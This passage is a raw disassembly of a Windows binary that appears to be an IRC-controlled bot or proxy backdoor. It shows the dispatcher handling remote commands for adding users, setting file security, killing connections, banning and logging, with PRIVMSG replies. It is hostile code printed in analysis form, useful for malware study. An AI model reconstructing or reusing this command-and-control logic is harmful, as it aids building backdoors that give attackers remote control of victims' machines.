call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rdx, [rsp + 0xec0]
jmp 0x1400538c9
lea rdx, str..DelClient
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140052003
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
cmove rbx, rdi
cmp r15d, 7
jne 0x14004dd98
lea rcx, [rsp + 0x1040]
xor edx, edx
mov r8d, 0x80
call fcn.14005fe50
lea rcx, [0x1400aceb8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0x100]
lea rdx, [rsp + 0x1040]
mov r9, rbx
mov r8d, 0x80
call fcn.14000fbd0
lea rcx, [0x1400aceb8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rdx, [rsp + 0x1040]
jmp 0x1400538c9
lea rdx, str..EmptyClient
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005206c
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
cmove rbx, rdi
cmp r15d, 6
jne 0x14004dd98
call fcn.14000fb60
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dd98
lea r8, str.PRIVMSG__s_:TEmpty_List_Successfull_r_n
jmp 0x140053774
lea rdx, str..ShowClient
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140052107
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
call fcn.1400605e0
lea rbp, [0x1400ad440]
cmp r15d, 6
jne 0x14004ddc0
lea rcx, [rsp + 0x3ce1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x3ce0], 0
call fcn.14005fe50
lea rcx, [rsp + 0x3ce0]
mov edx, 0x800
call fcn.14000fd70
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004ddc0
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x3ce0]
call fcn.140015c20
test eax, eax
je 0x14004e118
jmp 0x14004ddb7
lea rdx, str..MGI
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400521b7
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
jne 0x1400521ab
mov rdi, qword [rsp + 0x100]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x14005219f
mov rcx, rdi
call fcn.140061730
lea ecx, [rax - 1]
cmp ecx, 0x1d
ja 0x140052193
mov r9, qword [rsp + 0x108]
mov rcx, qword [0x1400a9640]
mov r8d, eax
mov rdx, rbx
call fcn.14004c600
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea r8, str.PRIVMSG__s_:Index_Out_Of_Bound_r_n
jmp 0x140053774
lea r8, str.PRIVMSG__s_:Invalid_Index_r_n
jmp 0x140053774
lea r8, str.PRIVMSG__s_:MGI_Index_Info_r_n
jmp 0x140053774
lea rdx, str..MAI
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400522aa
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 9
jne 0x14005229e
mov rdi, qword [rsp + 0x100]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x140051e7c
mov rcx, rdi
call fcn.140061730
mov esi, eax
test eax, eax
je 0x140052292
mov rdi, qword [rsp + 0x108]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x140052286
mov rcx, rdi
call fcn.140061730
lea ecx, [rax - 1]
cmp ecx, 0x18
ja 0x14005227a
mov rcx, qword [rsp + 0x110]
lea r8d, [rsi - 1]
mov r9d, eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140041fb0
mov ebx, dword [rsp + 0x80]
lea esi, [r15 - 8]
jmp 0x14004ddb7
lea r8, str.PRIVMSG__s_:The_Info_Number_Must_Bigger_Than_Zero_r_n
jmp 0x14004e69d
lea r8, str.PRIVMSG__s_:The_Info_Number_Is_Invalid_r_n
jmp 0x14004e69d
lea r8, str.PRIVMSG__s_:The_Account_Number_Must_Bigger_Than_Zero_r_n
jmp 0x14004e69d
lea r8, str.PRIVMSG__s_:MAI_AccountNumber_InfoNumber_Info_r_n
jmp 0x140053774
lea rdx, str..FileAccess
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005236d
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 9
je 0x1400522fd
lea rbp, [0x1400ad440]
cmp r15d, 0xa
jne 0x14004dd98
mov rdx, r13
cmp r15d, 0xa
jne 0x140052320
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov r9, qword [rsp + 0x118]
jmp 0x140052330
mov r8, qword [rsp + 0x108]
mov r9, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x100]
call fcn.1400028e0
mov r9, rbx
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
lea r8, str.PRIVMSG__s_:Set_Security_OK_r_n
test al, al
jne 0x140053784
lea r8, str.PRIVMSG__s_:Fail_To_Set_Security_r_n
call fcn.14005ff3c
jmp 0x1400538c1
lea rdx, str..AddUser
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005266c
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
mov qword [rsp + 0x4f8], rbx
cmp r15d, 8
jb 0x140052660
lea rdx, [0x140000000]
mov eax, 0x35
lea rcx, [rsp + 0x508]
mov word [rsp + 0xa4], ax
mov word [rsp + 0xb4], ax
mov eax, dword [rdx + 0x8493c]
mov dword [rcx], eax
movzx eax, byte [rdx + 0x84940]
mov edi, 0x30
mov byte [rcx + 4], al
mov eax, dword [rdx + 0x8493c]
lea rcx, [rsp + 0x520]
mov dword [rcx], eax
movzx eax, byte [rdx + 0x84940]
mov word [rsp + 0x94], di
mov byte [rcx + 4], al
mov eax, dword [rdx + 0x7d8e4]
lea rcx, [rsp + 0x528]
mov dword [rcx], eax
movzx eax, word [rdx + 0x7d8e8]
mov word [rsp + 0xb0], di
mov word [rcx + 4], ax
lea rax, [rsp + 0xb8]
mov word [rsp + 0xb8], di
mov qword [rsp + 0xc8], rax
lea rax, [rsp + 0x528]
mov dword [rsp + 0x4d0], 0x2a2e2a
mov qword [rsp + 0x4e0], rax
lea rax, [rsp + 0x4d4]
mov dword [rsp + 0x4dc], 0x2a2e2a
mov qword [rsp + 0x4f0], rax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x4d4], 0x303036
add eax, 0xfffffff7
lea rdi, [rsp + 0xa4]
lea rbx, [rsp + 0xb4]
lea rsi, [rsp + 0x4d0]
lea rbp, [rsp + 0x4dc]
lea r12, [rsp + 0x94]
lea r13, [rsp + 0x508]
lea r14, [rsp + 0x520]
lea r15, [rsp + 0xb0]
cmp eax, 0xa
ja case.default.0x1400524f1
mov ecx, dword [rdx + rax*4 + 0x55380]
add rcx, rdx
jmp rcx
lea rcx, [rsp + 0x1fd0]
xor edx, edx
mov r8d, 0x104
call fcn.14005fe50
mov r11, qword [rsp + 0x4f0]
mov rax, qword [rsp + 0x4e0]
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0xc8]
lea rcx, [rsp + 0x1fd0]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rsi
mov edx, 0x104
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
call fcn.140041320
mov r9, qword [rsp + 0x4f8]
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
test eax, eax
jne 0x140052642
lea r8, str.PRIVMSG__s_:One_Of_The_Item_Is_NULL_r_n
jmp 0x140051d1b
lea rax, [rsp + 0x1fd0]
lea r8, str.PRIVMSG__s_:_s
mov qword [rsp + 0x20], rax
call fcn.14005ff3c
jmp 0x140051d20
lea r8, str.PRIVMSG__s_:.AddUser_UserName_Password__MaxConnectionPerIP___TotalConnection___AllowedIP___AllowedDestIP___AllowedDestPort___DeniedIP___DeniedDestIP___DeniedDestPort___Speed___ExpireDate___IdleTimeOut__r_n
jmp 0x140053774
lea rdx, str..StartLog
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400526c5
cmp r15d, 6
jne 0x1400526c5
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.14002be90
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..StopLog
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x14005271e
cmp r15d, 6
jne 0x14005271e
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.14002c010
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..LGI
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140052777
cmp r15d, 6
jne 0x140052777
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.140022a30
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rdx, str..LADI
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x1400527fc
cmp r15d, 7
jne 0x1400527fc
lea rdx, str..LACI
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140052855
mov r9, rbx
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
call fcn.14005ff3c
jmp 0x1400538c1
mov dword [rsp + 0x20], eax
mov edx, 0x3ff
lea rcx, [rsp + 0x530]
mov r9, rbx
call fcn.14005ff3c
lea rdx, [rsp + 0x530]
mov rcx, qword [0x1400a9640]
call fcn.140015c20
test eax, eax
je 0x14004e118
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb2
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rsi, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rsi, rdi
cmp r15d, 8
je 0x14005495d
cmp r15d, 9
je 0x14005495d
lea r8, str.PRIVMSG__s_:.SABS_Account_BindedIP___s__r_n
lea rcx, [rsp + 0x530]
mov r9, rsi
mov edx, 0x3ff
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
jmp 0x14004ddb2
mov ebx, r13d
cmp r15d, 9
jne 0x14005497f
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
sete bl
mov rdi, qword [rsp + 0x108]
mov rcx, rdi
call fcn.140004d50
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dda1
mov rcx, rdi
call fcn.140061730
lea rbp, [0x1400ad440]
dec eax
cmp eax, 0x3fe
ja 0x14004dda1
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
mov r9, rdi
mov rdx, rsi
mov dword [rsp + 0x20], ebx
call fcn.140025830
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb2
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x140054a21
cmp r15d, 9
je 0x140054a21
lea r8, str.PRIVMSG__s_:.SAB_Account_BindedIP___s__r_n
jmp 0x140053774
mov ecx, r13d
cmp r15d, 9
jne 0x140054a46
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140025420
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x140054ab2
cmp r15d, 9
je 0x140054ab2
lea r8, str.PRIVMSG__s_:.SPA_Account_NewPass___s__r_n
jmp 0x140053774
mov ecx, r13d
cmp r15d, 9
jne 0x140054ad7
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140025bb0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x140054b43
cmp r15d, 9
je 0x140054b43
lea r8, str.PRIVMSG__s_:.SPA_Account_NewName___s__r_n
jmp 0x140053774
mov ecx, r13d
cmp r15d, 9
jne 0x140054b68
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140025090
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 8
je 0x140054bd4
cmp r15d, 9
je 0x140054bd4
lea r8, str.PRIVMSG__s_:.SPA_Account__Yes____No_____s__r_n
jmp 0x140053774
mov ecx, r13d
cmp r15d, 9
jne 0x140054bf9
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r9, qword [rsp + 0x108]
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x20], ecx
mov rcx, qword [0x1400a9640]
mov rdx, rbx
call fcn.140024ca0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
cmp r15d, 7
je 0x140054c65
cmp r15d, 8
je 0x140054c65
lea r8, str.PRIVMSG__s_:.TestUser_UserName___s__r_n
jmp 0x140053774
mov edi, r13d
cmp r15d, 8
jne 0x140054c88
mov rcx, qword [rsp + 0x108]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
sete dil
lea rdx, str..TestUser
mov rcx, rbp
call fcn.1400605e0
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
test eax, eax
mov r9d, r13d
mov rdx, rbx
sete r9b
mov dword [rsp + 0x20], edi
call fcn.1400453e0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
cmp r15d, 7
jne 0x14004ddb7
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rsi, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
lea rdx, str..DEOP
mov rcx, rbp
test eax, eax
cmove rsi, rdi
call fcn.1400605e0
lea rdi, [0x140086ff0]
test eax, eax
lea rax, [0x140086fec]
lea rdx, str..BAN
mov rcx, rbp
cmovne rdi, rax
call fcn.1400605e0
lea rbx, [0x140086fe8]
lea rdx, str..UNBAN
test eax, eax
mov rcx, rbp
cmovne rbx, rdi
call fcn.1400605e0
mov r9, qword [0x1400ad428]
test eax, eax
mov rax, qword [rsp + 0x100]
lea rcx, [0x140086fe4]
cmovne rcx, rbx
lea r8, str.MODE
mov rdx, rsi
mov qword [rsp + 0x28], rcx
mov rcx, qword [0x1400a9640]
mov qword [rsp + 0x20], rax
call fcn.14002b1a0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb2
cmp r15d, 7
je 0x140054da3
lea rbp, [0x1400ad440]
cmp r15d, 8
jne 0x14004ddc0
mov rcx, qword [rsp + 0x100]
call fcn.1400150f0
lea rbp, [0x1400ad440]
mov ebx, eax
test eax, eax
jle 0x14004dd98
mov rcx, qword [rsp + r12*8 + 0xc8]
lea rdx, [0x140088e2c]
call fcn.1400605e0
lea rbp, [0x1400ad440]
test eax, eax
je 0x14004dd98
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rdx, rdi
call fcn.1400605e0
lea r8, str.PRIVMSG__s_:Kill__d_Times_r_n
jmp 0x140050cf0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rsi, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rsi, rdi
cmp r15d, 8
je 0x140054e5e
cmp r15d, 9
je 0x140054e5e
lea r8, str.PRIVMSG__s_:__s__Account_Connection___s__r_n
lea rcx, [rsp + 0x530]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rbp
call fcn.14005ff3c
jmp 0x14005493c
mov rbx, qword [rsp + 0x108]
mov rcx, rbx
call fcn.140004d50
test eax, eax
je 0x1400547be
lea rdx, str..STC
mov rcx, rbp
call fcn.1400605e0
lea rdx, str..SBC
mov edi, 1
test eax, eax
mov eax, 2
mov rcx, rbp
cmove edi, eax
call fcn.1400605e0
mov ecx, r13d
test eax, eax
mov eax, 3
cmove edi, eax
cmp r15d, 9
jne 0x140054ed2
mov rcx, qword [rsp + 0x110]
lea rdx, [0x140088e2c]
call fcn.1400605e0
mov ecx, r13d
test eax, eax
sete cl
mov r8, qword [rsp + 0x100]
mov dword [rsp + 0x28], ecx
mov rcx, qword [0x1400a9640]
mov r9, rbx
mov rdx, rsi
mov dword [rsp + 0x20], edi
call fcn.1400265e0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb2
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov r12, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove r12, rdi
cmp r15d, 7
je 0x140054f35
cmp r15d, 8
jne 0x14004ddb7
mov esi, r13d
cmp r15d, 8
jne 0x140054f58
mov rcx, qword [rsp + 0x108]
lea rdx, [0x140088e2c]
call fcn.1400605e0
test eax, eax
sete sil
lea rdx, str..KSI
mov rcx, rbp
mov edi, r13d
call fcn.1400605e0
mov rbx, qword [rsp + 0x100]
test eax, eax
jne 0x140054f80
mov rcx, rbx
call fcn.140014f00
mov edi, eax
lea rdx, str..KDI
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140054f9d
mov rcx, rbx
call fcn.140014fa0
mov edi, eax
lea rdx, str..KDP
mov rcx, rbp
call fcn.1400605e0
test eax, eax
jne 0x140054fba
mov rcx, rbx
call fcn.140014e10
mov edi, eax
mov ebx, dword [rsp + 0x80]
test esi, esi
lea rbp, [0x1400ad440]
mov esi, 1
jne 0x14004ddc0
lea rbp, [0x1400ad440]
test edi, edi
je 0x14004ddc0
lea r8, str.PRIVMSG__s_:Total_Connections_Killed:__d_r_n
lea rcx, [rsp + 0x530]
mov r9, r12
mov edx, 0x3ff
mov dword [rsp + 0x20], edi
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
jmp 0x14004ddb7
lea rbp, [0x1400ad440]
cmp r15d, 6
jne 0x14004ddc0
cmp dword [0x1400a9648], 0
lea rbp, [0x1400ad440]
je 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.14002c410
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
lea rbp, [0x1400ad440]
cmp r15d, 7
jne 0x14004ddc0
cmp dword [0x1400a9648], 0
lea rbp, [0x1400ad440]
je 0x14004ddc0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400a9640]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.14002c2c0
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
cmp r15d, 0xa
je 0x140055107
cmp r15d, 9
jne 0x14004ddb7
cmp dword [0x1400a9648], 0
je 0x14004ddb7
mov rdi, qword [rsp + 0x110]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x14004ddb7
mov rcx, rdi
mov r15d, 0x2710
mov esi, r13d
mov r12d, r13d
call fcn.140061730
mov ecx, dword [rsp + 0x90]
mov r13d, eax
cmp ecx, 0xa
jne 0x140055172
mov rdi, qword [rsp + 0x118]
mov rcx, rdi
call fcn.140004d50
test eax, eax
je 0x14004ddaf
mov rcx, rdi
call fcn.140061730
mov r15d, eax
lea rdx, str..ATest
mov rcx, rbp
call fcn.1400605e0
mov rbp, qword [rsp + 0x108]
mov r14d, 1
test eax, eax
mov eax, 0
lea edi, [rax + 5]
cmove r14d, eax
nop dword [rax]
movzx edx, r13w
mov rcx, rbp
call fcn.140007830
test eax, eax
js 0x1400551b5
add r12d, eax
inc esi
sub rdi, 1
jne 0x1400551a0
mov rdi, qword [rsp + 0xf0]
mov rcx, qword [0x1400ad428]
mov rbx, qword [rsp + 0xd0]
mov rdx, rdi
call fcn.1400605e0
test eax, eax
cmove rbx, rdi
test esi, esi
je 0x14005534f
xor edx, edx
mov eax, r12d
div esi
mov edi, eax
cmp eax, r15d
jbe 0x14005520f
mov esi, 1
lea rbp, [0x1400ad440]
lea r13d, [rsi - 1]
test r14d, r14d
jne 0x14004dd90
mov rcx, qword [rsp + 0x100]
call fcn.140007d90
test r14d, r14d
je 0x1400552ca
cmp eax, 0xffffffff
je 0x14005527a
cmp eax, r15d
mov r14d, dword [rsp + 0x84]
mov esi, 1
lea r13d, [rsi - 1]
lea rbp, [0x1400ad440]
jg 0x14004dd98
lea ecx, [rax + rdi]
lea r8, str.PRIVMSG__s_:The_Average_Connection_Speed:__d_MS__Average_Ping_Speed:__d_MS._Total_Average_Speed:__d_MS_r_n
mov r9, rbx
shr ecx, 1
mov edx, 0x3ff
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x530]
mov dword [rsp + 0x20], edi
call fcn.14005ff3c
jmp 0x14005529a
lea r8, str.PRIVMSG__s_:The_Average_Connection_Speed:__d_MS_But_Fail_To_Ping_Client_r_n
lea rcx, [rsp + 0x530]
mov r9, rbx
mov edx, 0x3ff
mov dword [rsp + 0x20], edi
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
mov r14d, dword [rsp + 0x84]
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddaf
mov r14d, dword [rsp + 0x84]
mov esi, 1
lea rbp, [0x1400ad440]
lea r13d, [rsi - 1]
test eax, eax
js 0x14004dd98
lea ecx, [rax + rdi]
lea rbp, [0x1400ad440]
shr ecx, 1
cmp ecx, r15d
ja 0x14004dd98
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], eax
lea r8, str.PRIVMSG__s_:The_Average_Connection_Speed:__d_MS__Average_Ping_Speed:__d_MS._Total_Average_Speed:__d_MS._r_n
lea rcx, [rsp + 0x530]
mov r9, rbx
mov edx, 0x3ff
mov dword [rsp + 0x20], edi
call fcn.14005ff3c
mov rcx, qword [0x1400a9640]
lea rdx, [rsp + 0x530]
call fcn.140015c20
test eax, eax
je 0x14004e118
mov ebx, dword [rsp + 0x80]
jmp 0x14004ddb7
movzx eax, r13w
lea r8, str.PRIVMSG__s_:Fail_To_Connect_To__s:_d_r_n
lea rcx, [rsp + 0x530]
mov dword [rsp + 0x28], eax
mov r9, rbx
mov edx, 0x3ff
mov qword [rsp + 0x20], rbp
call fcn.14005ff3c
jmp 0x14005529a